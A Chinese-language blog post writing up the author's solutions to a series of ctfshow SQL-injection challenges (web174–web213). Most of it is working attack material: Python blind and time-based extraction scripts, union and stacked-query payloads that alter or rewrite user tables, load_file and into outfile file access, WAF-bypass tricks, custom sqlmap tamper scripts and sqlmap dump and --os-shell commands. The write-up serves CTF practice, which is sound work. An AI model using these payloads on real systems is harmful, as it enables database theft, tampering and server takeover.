yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. CTF
  3. 正文

ctfshow SQL注入专题

2021年12月12日 237点热度 1人点赞 1条评论

​哦对了,这篇文章还没写完,更新中...

emmm又是好久没更新了...之后就在这里做个记录吧,有些新的思路可以做些分享

web174

看了一下,应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的...

网上的wp很多用的布尔盲注,不过我当时还是想直接注出来,还是有办法的。

参考前面几道题,可以使用to_base64函数,对于一个字符而言,不管是数字还是字母,base64都是没有数字的。

所以,考虑一个一个注出来,利用substring函数依次截取单个字符,然后base64编码输出,再解码即可,python脚本如下:

import requests
import base64
url='http://fc485c2d-58c4-458f-ab35-8339b32a70a5.challenge.ctf.show/api/v4.php'
result=''
for i in range(1,100):
    param= {'id':'100\' union select \'k\',to_base64(substring(password,'+str(i)+',1)) from ctfshow_user4 where username = \'flag\'-- '}
    r=requests.get(url=url,params=param)
    result+=str(base64.b64decode(r.json()['data'][0]['password']),encoding = "utf-8")
print(result)

注意,返回的是json数据,这里需要做处理才能抓到password字段,可以自行实践一下找到写法。

脚本输出flag

相关知识点:substring(字符串,起始位置,截取长度),从字符串的起始位置开始,截取指定长度的字符

web175

这道题一看好家伙,ascii码0-127都不能显示,就是没打算让我看呗~

两个解法:

第一个,最容易想到的,没有过滤,又是盲注,直接时间盲注~

知识点:if(条件,true执行返回,false执行返回)这个结构常用于时间盲注,条件成立就会执行第二个语句并且返回值,否则执行第三个语句返回值,一般在true语句中加上sleep(...)就可以明显判断出条件是否成立

如:if(ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79,sleep(5),1),这一句话的意思就是:如果ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79这个条件成立,就执行sleep(5)这个语句,否则返回1

有了这个就好办了,挨个爆破就行,利用二分法能快点,脚本如下:

import urllib

import requests
import base64

url = 'http://2be8e7a3-4917-4ea8-906e-5921705e7857.challenge.ctf.show/api/v5.php'
result = ''
head = 32
tail = 127
for i in range(1, 55):
    while (1):
        if head == tail:
            break
        mid = (head + tail) // 2
        try:
            param = {
                'id': '1\' and if(ascii(substring((select password from ctfshow_user5 where username=\'flag\'),' + str(
                    i) + ',1))>' + str(mid) + ',sleep(5),1) -- '}
            #print(str(mid))
            r = requests.get(url=url, params=param, timeout=1)
            #print(urllib.parse.unquote(r.url).replace('+',' '))
            #print(r.text)
            tail = mid
        except Exception as e:
            #print(e)
            head = mid + 1
    result += chr(head)
    print(result)
    head = 32
    tail = 127
print(result)

对了,中间还遇到几个坑,一个是写url的时候直接写空格,会编码成加号的,不要自己写加号...

再一个,对于不同的请求,处理时间可能有所不同。我一开始把timeout设成了0.5,然后跑出来的结果是错的...后面看了一下,应该是我的请求需要处理时间比较长,所以即使有的时候没有执行sleep(5)也超时了...然后就把timeout改成了1,这才跑出来...

第二个解法,网页不是不显示结果吗,那就让结果显示在其他地方,利用into outfile可以指定输出结果到某个文件里,算是绕过盲注的又一个骚操作了...(群主大大yyds!)

payload:id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- 

然后访问ctf.txt即可

web176

说是过滤了哈,测了一下,万能密码可以直接出,用union select联合查询发现应该是select被过滤了,改成Select就行了

payload1:1' and 1=1-- 
payload2:1' union Select id,username,password from ctfshow_user-- 

web177

测了一下,应该是过滤了空格,用%09(制表符)或者/**/注释符都可以绕过

payload1:1'/**/or/**/1=1%23 (%23是#的url编码,注意#是特殊字符需要手动编码)
payload2:1'%09or%091=1--%09
payload3:联合查询也可以

可以用反引号引用列名(payload能短点)

例:select id,username,password from`ctfshow_user2`where`username`='flag'

web178

应该是不让用*号了,那就换一种绕过方法

上面的payload/**/换成%09就行(还可以用%0a,%0b,%0c,%0d)

web179

payload1:1'or'a'='a'%23 (万能密码一把梭)
payload2:%0c没有被过滤,所以用%0c绕过空格
1'%0cunion%0c%0cselect%0cid,username,password%0cfrom%0cctfshow_user%23

web180

过滤了#号,前面的%23没法用了,换成--加一个空格,空格用%0c代替即可

payload1:1'or'a'='a'--%0c
payload2:1'%0cunion%0c%0cselect%0cid,username,password%0cfrom%0cctfshow_user--%0c

还有另外一个思路,就是不用空格和注释,直接查是可以返回一个值的,只是说被条件username!='flag'限制了并且后面还有limit 1限制返回个数,那可以用or单独设置一个查询条件,这样前面的限制就没有了,后面的就一个一个找就行了

payload3:-1'or(id=26)and'a'='a

web181、182

这两道题更狠,直接就不让用空格了...确实没办法, 上一题payload3还能用,其他的方法好像也没有了...

web183

这道题把等号还有空格都过滤掉了。

等号可以考虑用regexp匹配函数代替,然后空格可以用反引号还有括号把数据库名和字段名框起来就可以不用空格了

然后返回了查找到的数量,可以用来做一个盲注,匹配到了就会返回flag项。同时,注意先要把前缀设成flag的前几位ctfshow,不然可能会有其他项干扰

还有一个坑,就是SQL不区分大小写,我大意了,以为只是关键字不区分大小写,结果连匹配的时候都默认不区分...想忽略大小写匹配必须用regexp binary,然而我不能用空格...所以只能在查找的时候就不搜索大写(还是因为知道flag里面只有小写字母2333),这样就搜得出来正确flag了

脚本:

import urllib

import requests
import base64
from bs4 import BeautifulSoup

url = 'http://ba0781e0-3cf6-4b55-9321-8ef066f2ff37.challenge.ctf.show/select-waf.php'
end=0
temp_flag='{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': '`ctfshow_user`where((pass)regexp(\'^ctfshow{}\'))'.format(temp_flag+letter[j])}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 1' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

脚本输出flag

web184

这道题where没了,必须把条件语句整出来,不然没法做

两种方法:

方法1:用having,注意having必须在group by后面

格式:GROUP BY column_name HAVING aggregate_function(column_name) operator value;

例子:ctfshow_user group by pass having pass like(ctfshow%)

这道题因为过滤了引号,不能用ascii码匹配,可以用16进制~(没有现成的转换函数,得自己写)

脚本:

import urllib
import requests

def asctohex(str):
    str2=""
    str3=""
    for i in str:
        str2+=hex(ord(i))
    str3=str2.replace("0x","")
    return str3

url = 'http://030aeae8-b950-4b57-8339-5fcec060bd53.challenge.ctf.show/select-waf.php'
end=0
temp_flag='ctfshow{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': 'ctfshow_user group by pass having pass like({})'.format("0x"+asctohex(temp_flag+letter[j]+"%"))}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 1' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

方法2:用right join自带的on条件语句

用法:SELECT column_name(s) FROM table1 RIGHT JOIN table2 ON condition;

脚本:

import urllib
import requests

def asctohex(str):
    str2=""
    str3=""
    for i in str:
        str2+=hex(ord(i))
    str3=str2.replace("0x","")
    return str3

url = 'http://030aeae8-b950-4b57-8339-5fcec060bd53.challenge.ctf.show/select-waf.php'
end=0
temp_flag='ctfshow{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': 'ctfshow_user as a right join ctfshow_user as b on (b.pass like({}))'.format("0x"+asctohex(temp_flag+letter[j]+"%"))}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 43' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

web185-web186

这道题比上一道题多过滤了数字,所以需要绕过,考虑使用true(true=1),然后本题*被过滤了,所以只能一个一个加了...

前缀ctfshow提前写到payload里,避免其他项干扰

import urllib
import requests

url = 'http://c061332f-6c9b-4f87-94b9-016b6e63cf27.challenge.ctf.show/select-waf.php'
temp="true"
payload="concat(" #payload
letter= '-0123456789abcdefghijklmnopqrstuvwxyz{}' #可能的字母
temp_i="true+true+true+true+true+true+true+true" #用于确定当前待确定字母的位置
temp_num=1 #用于遍历letter
end=0
flag="ctfshow"

#在查询语句中增加flag的前缀ctfshow
for i in range(0,7):
    for j in range(1,ord(flag[i])):
        temp+="+true"
    payload+="char("+temp+")"
    if(i!=6):
        payload+=","
    temp="true"
print(payload)

#多次查询部分
for i in range(8,50):
    #查询结束
    if(end==1):
        break
    for j in letter:
        #遍历letter中每一个字母
        while(temp_num!=ord(j)):
            temp_num=temp_num+1
            temp += "+true"
        #payload
        data={
            'tableName':"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,{}) like({})".format(temp_i,payload+",char(" + temp + ")))")
        }
        print(j)
        print(data)
        r=requests.post(url=url,data=data)
        if("$user_count = 43" in r.text):
        #查询结束,数据初始化
            if(j=='}'):
                end=1
            payload += ",char(" + temp + ")"
            temp = "true"
            temp_num=1
            temp_i+="+true"
            flag+=j
            print(flag)
            break

我写的脚本还麻烦了点,可以直接写一个在生成对应字母的payload的函数,借用一下k1he师傅的函数:

def createNum(n):
    num = "true"
    if n == 1:
        return "true"
    else:
        for i in range(n - 1):
            num += "+true"
    return num

web187

这道题是md5注入,原理这篇文章讲得很清楚:sql注入:md5($password,true)_March97的博客-CSDN博客_md5($pass,true)

题目要求用户名是admin,密码就写ffifdyop,提交抓包就能拿到flag了

web188

sql语句:

 

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

waf代码:

 //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

这道题本来一开始考虑的是is_numeric函数的问题,这个函数用于判断一个数是不是数字,是有漏洞的。对于有的16进制数也可以判断为真,正好结合SQL支持16进制的特性。不过这道题好像不支持16进制数,原因不明。

然后又想到前面都有名字叫admin的数据,传了username=admin&&password=0,不过估计是改了名字,username=admin没查到数据。

正确做法是利用mysql的弱比较特性,对于一个类型为string的字段来说,如果查询值为数字,会将字段值转化为数字再进行比较,字符串转化为数字0,这一点跟php是很像的。

于是username写0,password写0,就一定可以保证查到数据了,然后字符串转0弱比较登陆成功。

​

还有一种方法,username过滤了and和or,这两个关键词可以用&&和||运算符绕过。所以username还可以写成1||1,同样得到flag

web189

waf代码:

 

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

这道题想试试上一道题的方法结果不太行,因为登陆成功也不给flag了。试了一下username=0的时候回显“密码错误”,username=1的时候回显“查询失败”,那这个可以用来盲注。

这里有一点小小的感悟:好像SQL注入要么就是直接注入,要么就是利用回显不同构造条件语句盲注~

题目提示flag在api/index.php中,盲猜在/var/www/html/目录下,SQL读文件函数load_file(),详解见这里:【CTF】关于SQL盲注的细节_publicStr的博客-CSDN博客_ctf 盲注,并且单引号都没过滤,那直接上脚本了。

import requests

url = 'http://fb1711dd-6bfe-4500-831f-4596215ef5dd.challenge.ctf.show/api/'
file=""
i=250

while (1):
    i=i+1
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        print(mid)
        if head==tail:
            file+=chr(mid-1)
            print(file)
            break
        params = {'username': 'if(ascii(substr(load_file(\'/var/www/html/api/index.php\'),{},1))<{},1,0)'.format(i,mid), 'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        if "u8d25" in r.text:
            tail=mid
        else:
            head=mid+1

我的脚本又稍微麻烦了一点,我是直接爆的整个文件,找flag位置要找半天。这里完全可以用regexp函数进行匹配就简单很多~

改进脚本:

import requests

url = 'http://fb1711dd-6bfe-4500-831f-4596215ef5dd.challenge.ctf.show/api/'
temp_flag="ctfshow"
letter="-0123456789abcdefghijklmnopqrstuvwxyz{}"

while (1):
    for j in letter:
        params = {'username': 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(temp_flag+j), 'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        if "u8d25" in r.text:
            temp_flag+=j
            print(temp_flag)
            if(j=='}'):
                exit(0)
            break

web190

这道题表名变了...卡了好久

要从头开始,爆数据库名,爆表名,爆列名,爆flag:

import requests

url = 'http://2e5ebc6b-f05d-48e5-b9c3-7dd6686f7e47.challenge.ctf.show/api/'
temp_name = ""
mid = 0

for j in range(1, 100):
    # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        if (head == tail):
            break
        params = {
            'username':
                "admin111\' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})#".format(
                    j, mid),
#爆表名 "admin111' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#"
#爆列名 "admin111' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\'),{},1))>{})#"
#爆flag "admin111' or (ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{})#"
            'password':
                "0"
        }
        print(params)
        r = requests.post(url=url, data=params)
        if "u8bef" in r.text:
            head = mid + 1
        else:
            tail = mid
    print(mid)
    temp_name += chr(mid)
    print(temp_name)

web191

过滤了ascii,换成ord就行了

web192

这道题过滤了ord,但是其实ascii/ord/char这三个函数都可以写等效查询语句的。脚本如下:

import requests

url = 'http://b0a5f26f-fed9-4d4f-a260-ef013113d778.challenge.ctf.show/api/'
temp_name = ""
mid = 0

for j in range(1, 100):
    # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        if (head == tail):
            break
        params = {
            'username':
                "admin111' or (substr((select f1ag from ctfshow_fl0g),{},1)>char({}))#".format(
                    j, mid),
            'password':
                "0"
        }
        print(params)
        r = requests.post(url=url, data=params)
        if "u8bef" in r.text:
            head = mid + 1
        else:
            tail = mid
    print(mid)
    temp_name += chr(mid)
    print(temp_name.lower())

(这道题flag格式好像变了哈)(没变没变,最后要转成小写...)

也可以用regexp匹配~

web193

substr不能用了,可以用left代替截取,不过其实直接匹配好像就可以了,注意表名又变了

脚本:

import requests

url = 'http://036c6fc3-83cc-444c-9231-2288ee4cc7ce.challenge.ctf.show/api/'
temp_flag = ""
letter = "-_0123456789abcdefghijklmnopqrstuvwxyz{},"
i = 0

while (1):
    i = i + 1
    for j in letter:
        params = {
            'username': "admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)#".format(
                temp_flag + j),
            # select database() 爆数据库名 ctfshow_web
            # 爆表名 ctfshow_flxg
            # 爆列名
            # payload : admin111' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')regexp('^{}'),1,0)#
            # id,f1ag
            # 爆flag
            # payload : admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)#
            'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        # print(r.text)
        if "u8bef" in r.text:
            temp_flag += j
            print(temp_flag)
            if (j == '}'):
                exit(0)
            break

 

还有一种方法,substr函数可以直接用mid函数代替,效果完全相同,只需要注意表名变了就行

web194

上一题脚本照抄就行,没有任何影响

SQL注入做麻了,先换个题少点的题型做,做完了再回来做SQL注入,先咕着

不咕了不咕了

web195

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
  $ret['msg']='用户名非法';
  die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

这道题是堆叠注入,没有禁用分号,还没有禁用update语句,所以可以考虑使用分号+update语句把所有的密码改成1

1;update`ctfshow_user`set`pass`=1;

然后为了保证能查到用户名,可以有两种方式:

一是直接猜用户名为admin的用户,不过需要考虑字符串要用引号包起来的情况,那就用16进制绕过就行了

payload:username:0x61646d696e

password:1

二是利用SQL弱相等,见web188

payload:username:0

password:1

web196

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
  $ret['msg']='用户名非法';
  die(json_encode($ret));
}

if(strlen($username)>16){
  $ret['msg']='用户名不能超过16个字符';
  die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

这里是自定义了SQL的注入结果,说是ban了select其实没有ban,可以在后面一句话使用select(1)作为查询到的密码

payload:

username:1;select(1)
password:1

WEB197-198

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

这道题我甚至都没有看到没过滤空格...

update和select都没了,那可以考虑使用insert语句...

33;INSERT`ctfshow_user`(`username`,`pass`)VALUES(1,1);

然后username和password都设成1就行了

甚至可以再简化,直接

INSERT INTO tbl_name VALUES(expr, expr, expr...)

这种格式也是可以的

还有一种做法,就是alter table,username还是admin的十六进制,pass字段变成了原来的id,更好爆破一些(这里直接是1)

payload:

0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` varchar(255);

WEB199-200

这道题过滤了括号,不过有两种方法可以绕过:

第一种,其实alter table那条语句只有varchar(255)中的括号被过滤了,那我们可以使用text类型代替

payload:

username:0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text;

第二种,也可以参照之前select的想法,其实只需要有输出就可以了,那我们也不一定要用select,用show tables也可以~

username:1;show tables;
password:ctfshow_user

WEB201

开始练习sqlmap的使用了~

跟ua有关,首先是抓个包看一看ua的情况

python3 sqlmap.py --proxy="http://127.0.0.1:8080"

直接注啥也没有,那就重放sqlmap的包看一下结果

根据提示,看来对referer是有校验的。那指定referer为ctf.show就行了

python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" #测试注入点
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -dbs #数据库名
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -tables #表名
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" -columns #列名
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump #pass列值

#也可以不指定列名,直接把整个数据库都dump下来
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump

WEB202

要求参数换成POST方式提交,可以用--data参数指定

python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show"
python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D "ctfshow_web" -tables
python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump

三条指令一把梭

WEB203

要更换http访问方法,用--method指定方法为PUT,注意有个坑就是url要指定到index.php,应该是在nginx配置里面对目录的访问方法做了限制但是对文件没有

python3 sqlmap.py -u http://571801fc-7ad6-4a09-bfd3-b1381b39193f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" -batch -D "ctfshow_web" -T "ctfshow_user" --dump

WEB204

用--cookie提交cookie即可

python3 sqlmap.py -u http://4aa3c476-1a66-4f88-af25-cca19f831251.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="PHPSESSID=4u736t4s2urn6glprg733emivf; ctfshow=7d3e4a10c687e5f7a6453cd5cdc5a842" -batch -D "ctfshow_web" -T "ctfshow_user" --dump

WEB205

每次访问之前要先访问一下/api/getToken.php才能进行查询,所以就用burp一直访问着,然后正常跑就行了,注意这次flag换了个表,在ctfshow_flax

python3 sqlmap.py -u http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=a1bj4q2tt2hhlmk8cq62sa0t6f" -batch -D ctfshow_web -T ctfshow_flax -dump

或者也可以用--safe-url指定查询前先访问的url,--safe-freq=1指定每次查询前访问一次

python3 sqlmap.py -u http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=a1bj4q2tt2hhlmk8cq62sa0t6f" -batch -D ctfshow_web -T ctfshow_flax -dump --safe-url=http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/getToken.php --safe-freq=1

WEB206

sqlmap会自己判断闭合,跟上题一样

WEB207

这道题过滤了空格,--tamper参数指定你可以用来绕过waf的函数,可以自己编写

我自己写的脚本:

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload=payload.replace(' ','/**/')
    return payload

注意,这里有一个依赖的问题,需要引入sqlmap自带的lib,如果不做说明python会自动引入python库中的lib,但其实我们需要的不是这个,当然sqlmap运行的时候会识别出来,但是我们在IDE里面测试的时候就不行了。

解决方案:

暂时性的在sys.path中引入sqlmap自带的lib,在最前面加上这两句:

import sys
sys.path.insert(0,"D:\\CTF\\hacktools\\sqlmap-1.6") #这里写你自己的sqlmap目录,注意不是lib目录

还有一种方法,sqlmap自带的space2comment.py模板也可以解决这一问题

payload:

python3 sqlmap.py -u http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=elmskiokdrbepu5e8l3gqgmb7c" -batch -D "ctfshow_web" -T "ctfshow_flaxca" -dump --tamper=my.py --safe-url=http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/getToken.php --safe-freq=1

或者:

python3 sqlmap.py -u http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=elmskiokdrbepu5e8l3gqgmb7c" -batch -D "ctfshow_web" -T "ctfshow_flaxca" -dump --tamper=space2comment.py --safe-url=http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/getToken.php --safe-freq=1

参考Lxxx师傅的博客,各脚本用途如下:

序号 脚本名称 注释
1 0x2char 将每个编码后的字符转换为等价表达
2 apostrophemask 单引号替换为Utf8字符
3 apostrophenullencode 替换双引号为%00%27
4 appendnullbyte 有效代码后添加%00
5 base64encode 使用base64编码
6 between 比较符替换为between
7 bluecoat 空格替换为随机空白字符,等号替换为like
8 chardoubleencode 双url编码
9 charencode 将url编码
10 charunicodeencode 使用unicode编码
11 charunicodeescape 以指定的payload反向编码未编码的字符
12 commalesslimit 改变limit语句的写法
13 commalessmid 改变mid语句的写法
14 commentbeforeparentheses 在括号前加内联注释
15 concat2concatws 替换CONCAT为CONCAT_WS
16 equaltolike 等号替换为like
17 escapequotes 双引号替换为\\
18 greatest 大于号替换为greatest
19 halfversionedmorekeywords 在每个关键字前加注释
20 htmlencode html编码所有非字母和数字的字符
21 ifnull2casewhenisnull 改变ifnull语句的写法
22 ifnull2ifisnull 替换ifnull为if(isnull(A))
23 informationschemacomment 标示符后添加注释
24 least 替换大于号为least
25 lowercase 全部替换为小写值
26 modsecurityversioned 空格替换为查询版本的注释
27 modsecurityzeroversioned 添加完整的查询版本的注释
28 multiplespaces 添加多个空格
29 nonrecursivereplacement 替换预定义的关键字
30 overlongutf8 将所有字符转义为utf8
31 overlongutf8more 以指定的payload转换所有字符
32 percentage 每个字符前添加%
33 plus2concat 将加号替换为concat函数
34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()}
35 randomcase 字符大小写随机替换
36 randomcomments /**/分割关键字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
39 space2comment 空格替换为/**/
40 space2dash 空格替换为–加随机字符
41 space2hash 空格替换为#加随机字符
42 space2morecomment 空格替换为/**_**/
43 space2morehash 空格替换为#加随机字符及换行符
44 space2mssqlblank 空格替换为其他空符号
45 space2mssqlhash 空格替换为%23%0A
46 space2mysqlblank 空格替换为其他空白符号
47 space2mysqldash 空格替换为–%0A
48 space2plus 空格替换为加号
49 space2randomblank 空格替换为备选字符集中的随机字符
50 symboliclogical AND和OR替换为&&和||
51 unionalltounion union all select替换为union select
52 unmagicquotes 宽字符绕过GPC
53 uppercase 全部替换为大写值
54 varnish 添加HTTP头
55 versionedkeywords 用注释封装每个非函数的关键字
56 versionedmorekeywords 使用注释绕过
57 xforwardedfor 添加伪造的HTTP头

WEB208

这道题把小写select换成了空,但是sqlmap都是用的大写SELECT,所以其实跟上题没区别。也可以自己写脚本把SELECT变成selselectect,双写绕过

WEB209

这道题过滤了空格,*和=,sqlmap官方模板没有能用的,那就自己写!

注意一个小问题,由于使用的是PUT方法,Content-Type必须是text/plain,所以在POST的参数中不需要url编码,如果Content-Type是application/x-www-form-urlencoded才需要编码,详见:http - Why do request parameters sent in request body need to be URL encoded? - Stack Overflow

脚本:(借鉴Lxxx师傅的)

#!/usr/bin/env python
import urllib.parse

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    payload = payload.replace('count(*)', 'count(id)')
    payload = payload.replace(" ", chr(0x0a))
    payload = payload.replace("=", chr(0x0a) + "like" + chr(0x0a)) #等号用like绕过
    return payload

WEB210

脚本:

#!/usr/bin/env python
import base64
import urllib.parse

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    payload = payload[::-1]
    payload = base64.b64encode(payload.encode())
    payload = payload[::-1]
    payload = base64.b64encode(payload)
    return payload.decode()

注意python的字符串翻转,详见Python 中的 [:-1] 和 [::-1] (runoob.com)

WEB211

多过滤了个空格,先用注释符换了就行,脚本:

#!/usr/bin/env python
import base64
import urllib.parse

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    payload = payload.replace(' ','/**/')
    payload = payload[::-1]
    payload = base64.b64encode(payload.encode())
    payload = payload[::-1]
    payload = base64.b64encode(payload)
    return payload.decode()

WEB212

过滤了*,换一个就行

脚本:

#!/usr/bin/env python
import base64
import urllib.parse

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    payload = payload.replace(' ',chr(0x0a))
    payload = payload[::-1]
    payload = base64.b64encode(payload.encode())
    payload = payload[::-1]
    payload = base64.b64encode(payload)
    return payload.decode()

另外,也可以直接dump所有数据库数据

python3 sqlmap.py -u http://bd72cdfe-2da0-4337-a1ad-96e72d8d7c80.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=1g06pvsu3a2cr9hb89461dsbui" -batch -dbs -dump --tamper=my.py --safe-url=http://bd72cdfe-2da0-4337-a1ad-96e72d8d7c80.challenge.ctf.show/api/getToken.php --safe-freq=1 --proxy="http://127.0.0.1:8080"

web213

不知道为啥shell拿不到...先摆了拿到了拿到了

其实这道题很简单,就是加一个--os-shell选项就行了,不过我出现了一些神必问题...

?我文件上传的php都传上去了你告诉我真正的shell没传上去?

